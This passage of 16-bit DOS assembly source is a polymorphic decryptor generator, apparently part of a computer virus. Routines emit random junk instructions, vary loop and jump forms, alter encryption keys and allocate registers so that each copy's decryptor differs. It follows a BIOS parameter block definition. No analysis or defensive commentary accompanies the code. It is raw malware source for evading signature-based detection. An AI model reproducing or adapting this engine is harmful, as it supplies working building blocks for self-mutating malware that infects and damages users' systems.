; 31h WORD PSP segment of file's owner (see AH=26h) ;
; 33h WORD offset within SHARE.EXE code segment of ;
; sharing record (see below) 0000h = none ;
;----------------------------------------------------------------------------;
bpb STRUC
bpb_Bytes_Per_Sec dw ?
bpb_Sec_Per_Clust db ?
bpb_Reserved_Sectors dw ?
bpb_FATs db ? ; Number of FATs
bpb_Root_Dir_Entries dw ? ; Max number of root dir entries
bpb_Sectors dw ? ; number of sectors; small
bpb_Media db ? ; Media descriptor byte
bpb_Sectors_Per_FAT dw ?
bpb_Sectors_Per_Track dw ?
bpb_Heads dw ? ; number of heads
bpb_Hidden_Sectors dd ?
bpb_Huge_Sectors dd ? ; number of sectors; large
bpb_Drive_Number db ?
bpb_Reserved db ?
bpb_Boot_Signature db ?
bpb_Volume_ID dd ?
bpb_Volume_Label db 11 dup(?)
bpb_File_System_Type db 8 dup(?)
bpb ENDS
mov ax,2
push ax
call random ; test BP for 4000?
pop ax
jz loop_no_test
test bp,4000h ; possible to just "Jcc"?
jnz loop_make_jcc
loop_no_test: call random
jz loop_no_test1
test bp,2000h ; use loop?
jnz loop_make_jcc
loop_no_test1: or bp,800h ; do not change flags
mov ax,2
cwd
call random ; try OR/AND/TEST reg,reg
; or XOR/ADD/OR/SUB reg,0?
mov al,ds:count_reg ; get counter
jnz loop_orandtest
call boolean ; do XOR/OR/ADD or ADD/SUB?
jnz loop_modify
call add_reg ; ADD/SUB reg,0
jmp loop_make_jcc
loop_orandtest: mov cl,3
mov ch,al
shl ch,cl
or al,ch ; set reg1 as reg2 also
mov bx,2 ; OR/AND/TEST
call random_bx
jnz loop_and
or ax,9c0h ; OR reg1, reg2
loop_reverse: call boolean ; use 9 or 11?
jnz loop_orandteststo
or ah,2h ; reg2, reg1
jmp loop_orandteststo
loop_and: dec bx
jnz loop_test
or ax,21c0h ; AND reg1, reg2
jmp loop_reverse
loop_test: or ax,85c0h ; TEST reg1, reg2
loop_orandteststo:
xchg al,ah
stosw ; store TEST/OR/AND
or bp,1800h ; do not change flags/
; test stored
call garble
loop_make_jcc: and bp,not 800h
test bp,2000h ; code loop?
jz loop_make_jump
mov al,0e2h ; LOOP
test bp,1000h ; possible to use LOOPNZ/Z?
jz loop_code_disp
call boolean
jnz loop_code_disp
dec ax ; LOOPZ
call boolean
jnz loop_iscx
dec ax ; LOOPNZ
jmp loop_code_disp
;=====( Now make conditional jump )==========================================;
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
loop_make_jump: mov bx,offset jcc_tbl
mov ax,3
call random
xlat ; get Conditional jump
mov bx,2
call random_bx ; use JE/JS/LE/L then JMP?
jnz loop_code_disp
cmp ds:count_reg,_cx ; CX is counter?
jnz loop_notcx
mov bl,4
call random_bx
jnz loop_notcx
mov al,0e3h + 1 ; JCXZ + 1
loop_notcx: dec ax
loop_iscx: stosw
cmp al,07fh ; Jcxz/loopz?
ja loop_code_short
call boolean ; Use opposite or EB?
jnz loop_code_short
or bp,800h ; dont change flags
loop_code_short:mov si,di ; save offset of displacement
call garble
lea ax,ds:[si-2]
sub ax,di
neg al ; get jump displacement
mov ds:[si-1],al ; save it
test bp,800h ; Dont change flags -> "Jcc"
mov al,0ebh ; Jmp short
je loop_code_disp
mov ax,3
call random
mov bx,offset jcc_tbl
xlat ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb ; store jump
pop ax ; start of loop
dec ax
sub ax,di ; get loop displacement
stosb
or bp,11101111b ; free all registers
and bp,not 800h ; allow flags to change
call garble
mov ax,19
call random ; 1 in 20 chance of non-jmp
jnz loop_code_jmp
mov ax,ds:pointer
add ax,offset file_start ; where to jump
xchg dx,ax
call get_reg ; get a register
call mov_reg ; Mov value into register
or ax,0ffc0h + (4 shl 3) ; JMP reg16
call boolean ; PUSH/RET or JMP reg16?
jnz loop_code_push
xchg al,ah
jmp loop_code_stosw
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
mov dx,2 ; ADD ptr,2
cmp ah,-1 ; two registers used?
jz make_incptr_1
call boolean ; do one or both?
jnz make_incptr_do1
dec dx ; ADD ptr,1
call make_incptr_do1
jmp make_incptr_2
make_incptr_do1:call boolean
jnz make_incptr_1
make_incptr_2: xchg al,ah
make_incptr_1: call add_reg
sub ds:disp,dx ; add to displacement
retn
;=====( Dec counter )========================================================;
make_deccount: cmp si,offset make_deccount ; last operation?
jnz make_deccount_notlast
call boolean ; do it?
jnz make_deccount_notlast
or bp,4800h ; remember we're last
make_deccount_notlast:
mov al,ds:count_reg
cmp al,_cx ; possible to use LOOP/LOOPNZ?
jnz make_deccount_notcx
call boolean
jnz make_deccount_notcx
or bp,2000h ; do LOOP
jmp make_deccount_exit
make_keychange_yes:
push bp
or bp,200h ; let know that keychange
mov ax,3
call random ; 1 in 4 chance of modify_reg
jnz keychange_other
call random_1
xchg dx,ax ; Random value to modify key
; reg by
mov al,ds:key_reg
call modify_reg ; XOR/ADD/OR
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
inc di ; CLC
mov al,ds:modify_op ; get operation
stosb
keychange_stodx:xchg dx,ax ; store value/operation
keychange_sto: stosw
xchg di,ds:encode_ptr ; get decrypt pointer
pop bp
retn
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
call random
jnz keychange_rol
mov ax,0d1c0h ; ROR AX,1
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
call random_bx
jnz keychange_nocl
cmp ds:count_reg,_cx ; Count is CX?
jne keychange_nocl
test bp,400h ; Count already decremented?
jnz keychange_nocl
or ah,2 ; By CL
keychange_nocl: xchg al,ah
push ax
or ah,ds:key_reg ; set key register
stosw ; store instruction
pop ax
xchg di,ds:encode_ptr ; get encode ptr
jmp keychange_sto
keychange_rol: dec ax
jnz keychange_not
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
jmp keychange_cl
keychange_not: dec ax
jnz keychange_neg
mov ax,0f7c0h + (2 shl 3) ; NOT AX
jmp keychange_nocl
make_count: call get_reg ; get register
mov ds:count_reg,al ; save register
mov dx,(decrypt-v_start)/2 ; # of words to crypt
call mov_reg ; mov reg(ax),value(dx)
retn
;=====( clear carry flag )===================================================;
clear_carry: push ax bp
or bp,800h ; don't change flags
mov al,0f8h ; CLC
call boolean
jnz clear_carry_clc
mov ax,0f5f9h ; STC/CMC
stosb
call garble
xchg al,ah
clear_carry_clc:stosb
call garble
pop bp ax
retn
garble: push ax
mov ax,2
call random ; how many times to call?
xchg cx,ax
jcxz garble_exit
garble_loop: call garble1
loop garble_loop
garble_exit: xchg cx,ax
pop ax
retn
garble1: push ax bx cx dx bp
test bp,100h ; Garble already executing?
jnz garble_ret
and bp,not 200h ; keychange not executing
or bp,100h ; Garble executing
call boolean
jnz garble_ret
mov cl,3
call random_1
xchg dx,ax ; DX=random number
call get_reg ; get register
jc garble_ret
mov bx,6
test bp,800h ; flag change allowed?
jz garble_f
mov bl,2
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
jnz garble_xchg
or ah,89h
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
jz garble_reg_reg
or ah,2 ; 8b
xchg al,dl
garble_reg_reg: and dl,7 ; Get register values only
and al,7
shl dl,cl
or al,0c0h ; MOV reg1, random reg
or al,dl
xchg al,ah
stosw
garble_ret: pop bp
jmp modify_pop
garble_xchg: dec bx
jnz garble_1byte
xchg dx,ax
call get_reg ; get another reg
jc garble_ret
xchg dx,ax ; AL=reg1 DL=reg2
call boolean
jnz garble_xchgnoax
or dl,dl ; AX?
jz garble_xchgax
or al,al
jz garble_xchgax
garble_xchgnoax:or ah,87h ; XCHG reg1,
jmp garble_reg_reg
garble_xchgax: or al,90h
or al,dl ; XCHG AX, reg
garble_stosb: stosb
jmp garble_ret
garble_1byte: dec bx
jnz garble_modify
mov al,4
call random
mov bx,offset garble_1byte_tbl
xlat ; get 1 byte instruction
jmp garble_stosb
garble_modify: dec bx
jnz garble_add
call modify_reg ; ADD/XOR/OR reg1, random #
jmp garble_ret
garble_add: dec bx
jnz garble_mov
call add_reg ; ADD/SUB reg1, random #
jmp garble_ret
garble_mov: dec bx
jnz garble_op
call mov_reg ; MOV reg1, random #
jmp garble_ret
garble_op: and dh,00111000b ; get rnd op
mov ah,1
or ah,dh
jmp garble_reg_set
garble_1byte_tbl:
db 2eh
db 36h
cld
std
sti
;=====( Is BP a Pointer? )===================================================;
is_bp_ptr: cmp ds:ptr_reg,_bp
je bp_is_ptr
cmp ds:ptr_reg1,_bp
bp_is_ptr: retn
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
get_ptr_regnext:call del_reg ; restore register to pool
get_ptr_reg: call get_reg ; get register
cmp al,_bx
je got_ptr_reg
cmp al,_bp
jb get_ptr_regnext
got_ptr_reg: retn
;=====( return random register in AL )=======================================;
get_reg: test bp,11101111b ; any registers free?
stc
jz get_reg_exit
get_reg_loop: mov ax,7
call random
push ax
cbw
call conv_num ; convert to bit map
test bp,ax ; is register free?
pushf
not ax
and bp,ax ; mark register
popf
pop ax
jz get_reg_loop
get_reg_exit: retn
;=====( Restore register to pool )===========================================;
del_reg: push ax
cbw
call conv_num ; convert to bit number
or bp,ax ; restore register
pop ax
retn
;=====( convert number to bit map )==========================================;